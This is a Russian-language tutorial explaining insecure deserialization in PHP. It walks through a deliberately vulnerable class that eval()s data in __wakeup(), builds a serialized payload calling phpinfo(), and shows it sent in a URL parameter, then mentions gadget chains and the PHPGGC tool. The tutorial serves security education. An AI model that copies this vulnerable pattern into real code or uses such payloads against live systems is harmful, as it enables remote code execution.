Небезопасная десериализация в PHP

Для сериализации и десериализации в PHP используются функции serialize() и unserialize() соответственно.

serialize() принимает в качестве параметра объект и возвращает его сериализованное представление в виде строки.

unserialize() принимает в качестве параметра строку, содержащую сериализованный объект, и возвращает десериализованный объект, восстановленный из этой строки.

Рассмотрим на простом примере.

<?php
class Injection {

	public $some_data;

	function __wakeup(){

		if( isset( $this->some_data ) ){
			eval( $this->some_data );
		}
	}
}

if( isset( $_REQUEST['data'] ) ){
	$result = unserialize( $_REQUEST['data'] );

	// do something with $result object
	// ...
}
?>

В этом примере присутствует класс Injection, реализующий магический метод __wakeup(). Данный метод будет выполнен сразу после десериализации объекта класса Injection и, как можно увидеть, исполнит код, хранящийся в переменной класса $some_data.

С помощью следующего кода создадим полезную нагрузку для эксплуатации подобной уязвимости:

<?php
class Injection {

	public $some_data;

	function __wakeup(){

		if( isset( $this->some_data ) ){
			eval( $this->some_data );
		}
	}
}

$inj = new Injection();
$inj->some_data = "phpinfo();";

echo( serialize( $inj ) );
?>

В результате выполнения этого кода получим следующий сериализованный объект:

O:9:"Injection":1:{s:9:"some_data";s:10:"phpinfo();";}

И обратимся к нашему уязвимому приложению, передав в качестве данных в параметре data этот сериализованный объект:

https://example.com/vulnerable.php?data=O:9:"Injection":1:{s:9:"some_data";s:10:"phpinfo();";}

В результате исполнения данного кода и десериализации переданного нами объекта будет исполнена встроенная функция PHP phpinfo(). Таким образом злоумышленник получит возможность удаленного исполнения кода в уязвимой системе.

Для проведения успешной атаки необходимо, чтобы в приложении присутствовали классы, реализующие те или иные магические методы. Как правило, для целей эксплуатации наиболее полезны методы __destruct(), __wakeup() и __toString(). Кроме того, чтобы найти уязвимый класс или цепочку классов (так называемый гаджет), обычно нужен доступ к исходному коду приложения.

Вместе с тем приложения зачастую реализуются с использованием различных фреймворков, которые уже содержат подходящие гаджеты. В таком случае для генерации полезной нагрузки можно воспользоваться утилитой PHPGGC.

Стоит отметить, что не всегда эксплуатация уязвимости небезопасной десериализации в PHP ведет к удаленному исполнению кода. Иногда она приводит к чтению или записи произвольных файлов, SQL-инъекциям, отказу в обслуживании и так далее.

--

Подробнее читайте в Источнике